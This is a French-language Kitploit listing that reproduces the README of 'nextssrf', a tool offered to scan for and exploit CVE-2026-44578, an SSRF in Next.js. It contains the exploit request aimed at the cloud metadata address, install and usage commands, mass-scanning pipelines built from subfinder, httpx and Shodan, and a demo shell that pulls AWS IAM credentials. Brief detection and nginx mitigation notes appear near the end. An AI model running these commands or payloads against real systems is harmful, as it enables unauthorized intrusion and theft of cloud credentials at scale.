Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nextssrf — Outil de scan et d'exploitation de la CVE-2026-44578 pour SSRF dans le gestionnaire de mise à niveau WebSocket de Next.js. Détecte les versions vulnérables, extrait les métadonnées cloud et exfiltre les identifiants IAM via un shell interactif. | Kitploit
Outils/GitHubGitHub/ynsmroztas/nextssrf
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité Cloud
GitHubynsmroztas/nextssrf

nextssrf

Outil de scan et d'exploitation de la CVE-2026-44578 pour SSRF dans le gestionnaire de mise à niveau WebSocket de Next.js. Détecte les versions vulnérables, extrait les métadonnées cloud et exfiltre les identifiants IAM via un shell interactif.

Voir le dépôt
7620il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║         NextSSRF — CVE-2026-44578 Scanner & Exploit          ║
║   Next.js WebSocket Upgrade Handler SSRF                     ║
║   Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4              ║
║         @mitsec / ynsmroztas — Bug Bounty Tooling            ║
╚══════════════════════════════════════════════════════════════╝

Python CVE CVSS License Platform

CVE-2026-44578 — Server-Side Request Forgery via le gestionnaire de mise à niveau WebSocket de Next.js

Aperçu · Installation · Utilisation · Exemples de pipeline · Shodan · Shell interactif · Avertissement


Aperçu

Le 11 mai 2026, Vercel a corrigé CVE-2026-44578 (CVSS 8.6) : une SSRF non authentifiée dans le gestionnaire de mise à niveau WebSocket de Next.js affectant tous les déploiements auto-hébergés à partir de la version 13.4.13.

Mécanisme

root@kitploit:~
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1   ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Le // dans http:// déclenche la sortie anticipée de normalizeRepeatedSlashes, définissant statusCode: 308 et finished: true. Le gestionnaire de mise à niveau vulnérable ignore ces deux indicateurs et appelle proxyRequest lorsque parsedUrl.protocol est truthy — en proxyant la requête vers l'hôte contrôlé par l'attaquant sur le port 80.

root@kitploit:~
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)

Versions affectées

ProduitVulnérableCorrigé
Next.js13.4.13 – 15.5.1515.5.16
Next.js16.0.0 – 16.2.416.2.5
Hébergé sur Vercel✅ Non affectéN/A

Limitations

  • GET uniquement (pas de POST/PUT)
  • Port 80 uniquement (les ports explicites sont supprimés par la normalisation des URL)
  • AWS IMDSv2 non exploitable (nécessite un jeton PUT)
  • Les métadonnées GCP rejettent Upgrade: websocket avec un code 400
  • Les reverse proxies (nginx/caddy/HAProxy) bloquent les URI de forme absolue

Démo

NextSSRF — Identifiants AWS exfiltrés

Identifiants AWS IMDSv1 exfiltrés via CVE-2026-44578 — shell d'exploitation interactif


Installation

root@kitploit:~
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com

Zéro dépendance — uniquement la bibliothèque standard de Python. Python 3.10+ requis.


Utilisation

Analyse d'une cible unique

root@kitploit:~
python3 nextssrf.py -t https://target.com

Ciblage spécifique au cloud

root@kitploit:~
# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws

# Custom internal target
python3 nextssrf.py -t https://target.com \
  --ssrf-host http://internal-api --path /admin

# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep

Analyse massive (Pipeline)

root@kitploit:~
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
  python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl

# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json

# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force

Codes de sortie

CodeSignification
0Non vulnérable / propre
1Vulnérable (sans exploitation)
2SSRF confirmée

Shell interactif

Shell d'exploitation avancé avec détection automatique du cloud et extraction des identifiants IAM :

root@kitploit:~
python3 nextssrf.py -t https://target.com
root@kitploit:~
╔══════════════════════════════════════════════════╗
║  NextSSRF v2 — Interactive Exploit Shell         ║
║  Target : ec2-x-x-x-x.compute.amazonaws.com     ║
║  CVE    : CVE-2026-44578  |  Status: Connected   ║
╚══════════════════════════════════════════════════╝

nextssrf(ec2-x...)> cloud
  [>] Detecting cloud provider...
  ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
  → Run 'aws' for full credential extraction

nextssrf(ec2-x...)> aws
  [1/3] Instance Information
  [200] Hostname    : ip-172-31-47-134.ec2.internal
  [200] AZ          : us-east-1d
  [200] Account ID  : {"AccountId": "370741706736"}

  [2/3] IAM Role Discovery
  ✓ IAM Role found: my-ec2-role

  [3/3] Credential Extraction
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  🎯 AWS CREDENTIALS EXFILTRATED!
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
  SecretKey   : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  Expiration  : 2026-05-14T22:32:22Z

Commandes du shell

Mode automatique

root@kitploit:~
# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto

Exemples de pipeline

root@kitploit:~
# Full recon → exploit pipeline
subfinder -d target.com \
  | httpx -silent -server \
  | grep -i "next" \
  | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl

# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
  | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl

# Check specific version range
cat hosts.txt \
  | python3 nextssrf.py --pipe --force --cloud aws \
  | jq '.[] | select(.ssrf_hits | length > 0)'

Détection (Blue Team)

Signes d'exploitation dans les journaux :

root@kitploit:~
# Next.js process logs
Failed to proxy http:/   ← single slash = normalization fingerprint

# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket

Atténuation (si vous ne pouvez pas patcher)

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

Références

  • GHSA-c4j6-fc7j-m34r
  • NVD CVE-2026-44578
  • Publication de sécurité Next.js — mai 2026
  • Analyse technique de Hadrian

Avertissement

Uniquement pour les tests de sécurité autorisés et la recherche bug bounty. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite. Les auteurs ne sont pas responsables d'une utilisation abusive ou non autorisée. Suivez toujours les règles d'engagement de votre programme bug bounty.


Fait avec ❤️ par @mitsec · ynsmroztas.github.io

Top Hacker @ Intigriti · 100+ HOF · 2430+ vulnérabilités · 1100+ P1 critiques

Télécharger l’outil
CommandeDescription
cloudDétection automatique du cloud (AWS/Azure/GCP/DO/OCI)
awsChaîne complète d'identifiants AWS IAM
azureJeton d'identité managée Azure
scanDétection cloud + exploitation automatique
url <http://>Requête SSRF personnalisée
get <N>Cible IMDS AWS par index
listAfficher tous les endpoints IMDS
historyHistorique des requêtes
saveExporter la session en JSON
quitQuitter